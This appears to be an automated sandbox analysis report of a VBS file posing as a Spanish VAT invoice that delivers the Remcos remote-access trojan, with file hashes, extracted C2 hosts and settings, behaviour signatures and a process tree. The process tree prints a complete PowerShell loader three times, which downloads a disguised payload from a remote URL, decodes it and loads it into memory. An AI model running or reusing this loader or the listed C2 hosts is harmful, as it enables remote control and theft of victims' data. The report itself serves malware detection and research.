Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19-12-2024 12:18
Static task
static1
Behavioral task
behavioral1
Sample
4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs
Resource
win7-20241010-en
General
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Target
4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs
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Size
152KB
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MD5
4dd53bc42716f9abe36ae85c8ca8ea4b
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SHA1
aa44fc15455a5283e6596a4da7ee87ac4e4b8901
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SHA256
d2256247fae569fdaf99ce1a41dc036c5e4ca7b637a52314f51b726e39096573
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SHA512
d9f5410d0f7c9135fa2b388030c766969ed7ea70edae73b514820bb39251f4f66d9af3d39fc46327cb7a6f207ca3e3b7e86a8fecec7629a3606d3c0789777952
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SSDEEP
3072:A8gVmI3b0mgfmWu+Dwe9VOv5iG5sVhQ30Wk+70wgA1A:A8gVde9VOvM
Malware Config
Extracted
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg
Extracted
remcos
NEW
rem.pushswroller.eu:23101
firewarzone.ydns.eu:23101
dim.remofficialws.top:23101
rem.officialswvrem.top:23101
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmcghdzxtrswtwg-BJ2KPV
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Remcos family
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Blocklisted process makes network request 5 IoCs
flow pid Process 5 760 powershell.exe 21 760 powershell.exe 55 4544 powershell.exe 57 4544 powershell.exe 209 4428 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation wscript.exe -
pid Process 760 powershell.exe 4544 powershell.exe 4428 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 760 set thread context of 2444 760 powershell.exe 96 PID 4544 set thread context of 4512 4544 powershell.exe 111 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MSBuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings MSBuild.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 760 powershell.exe 760 powershell.exe 4544 powershell.exe 4544 powershell.exe 4428 powershell.exe 4428 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 4544 powershell.exe Token: SeDebugPrivilege 4428 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2444 MSBuild.exe 4512 MSBuild.exe -
Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 1132 wrote to memory of 760 1132 WScript.exe 82 PID 1132 wrote to memory of 760 1132 WScript.exe 82 PID 760 wrote to memory of 3052 760 powershell.exe 92 PID 760 wrote to memory of 3052 760 powershell.exe 92 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 760 wrote to memory of 2444 760 powershell.exe 96 PID 2444 wrote to memory of 3392 2444 MSBuild.exe 105 PID 2444 wrote to memory of 3392 2444 MSBuild.exe 105 PID 2444 wrote to memory of 3392 2444 MSBuild.exe 105 PID 4504 wrote to memory of 4544 4504 wscript.exe 108 PID 4504 wrote to memory of 4544 4504 wscript.exe 108 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 4544 wrote to memory of 4512 4544 powershell.exe 111 PID 2288 wrote to memory of 4428 2288 wscript.exe 114 PID 2288 wrote to memory of 4428 2288 wscript.exe 114 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4dd53bc42716f9abe36ae85c8ca8ea4b_m_Factura de IVA,pdf.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\talpe.vbs"3⤵PID:3052
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\qvfldeimcgzyjrplva.vbs"4⤵
- System Location Discovery: System Language Discovery
PID:3392
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4504 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4544 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:4512
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\talpe.vbs1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$noninterest = 'https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg';$fishers = New-Object System.Net.WebClient;$marmalady = $fishers.DownloadData($noninterest);$ruddle = [System.Text.Encoding]::UTF8.GetString($marmalady);$bleekbok = '<<BASE64_START>>';$rouse = '<<BASE64_END>>';$unloose = $ruddle.IndexOf($bleekbok);$Benedict = $ruddle.IndexOf($rouse);$unloose -ge 0 -and $Benedict -gt $unloose;$unloose += $bleekbok.Length;$tumefied = $Benedict - $unloose;$biographed = $ruddle.Substring($unloose, $tumefied);$backing = -join ($biographed.ToCharArray() | ForEach-Object { $_ })[-1..-($biographed.Length)];$nonflavored = [System.Convert]::FromBase64String($backing);$hemautogram = [System.Reflection.Assembly]::Load($nonflavored);$subcarbureted = [dnlib.IO.Home].GetMethod('VAI');$subcarbureted.Invoke($null, @('txt.erg/kni/pot.crwslaiciffo.tes//:sptth', '$delie', '$delie', '$delie', 'MSBuild', '$delie','$delie','$delie','talpe', 'C:\ProgramData\','talpe','vbs','1','1','TaskName'));"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4428
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
152KB
MD5f46c154b82e9739bc0cb68c2b55c7141
SHA13cffae22113aa6d4525c702f164317713865ae49
SHA256648aa1acba635f9025c41cb23dedd2e86c4abcec1ad91493e197a1b300c74e85
SHA51211f540c4d95dbf6c79d87ee29e400a0c73db6d7fa196ceac29051b7b9d6b8a7c858a4cb359b223bd5851b45ea3228928ecce9a11c82c3c818a880f5f9de91ad0
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
1KB
MD5602c355ba15edbb4b9bf9bc779f6ff1c
SHA19c6e05059b549732d8f61e822e1e075a67f578b1
SHA2565a75778b0d8126c1cf4d27b103d095f0e14a40d791337bc72a5ecf695dc2a185
SHA5122cae77e513291edb4059e48144384c74b1a8c66ad620abf6154ddb7cbe9f28669eb93608d41e807402240e9ce8f6b5bd39af1f8f5654598b06a7089dadb2da4e
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Filesize
1KB
MD596c9d581cfb5f15fce3f11be06735ea3
SHA193464cb23333b44ebe83643eb94329101f2ad4b7
SHA25607b70c5ac76adc19ca26500e3c3fd380eae2ece3f198a56eaf538e5b8ff04c85
SHA5127c0080a1610321a756dab29b0b6341ba63e2eaa31e105d45f3c556ca84148bebc4ec50e7c063b7e4c32287e15a3a6e2d1169eeeac767f1c719f62c0b56abff5c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
374B
MD592323d5eafdd057f2602a2a0b5f5230e
SHA19498775850b22af3303ce67d042c7cf3925b396b
SHA25652512978ad3bd19b5bbc6a332b2cc7635947c9f29979f746f406161ffb3ac34a
SHA512268d4fe79242535278a9ca3396d1e39f9be88285a4ea01304bd39415728e07e5d9b8392a778732ab3b65ab050aa6aa6aadf6f4d1443b39605763fc380637bb5c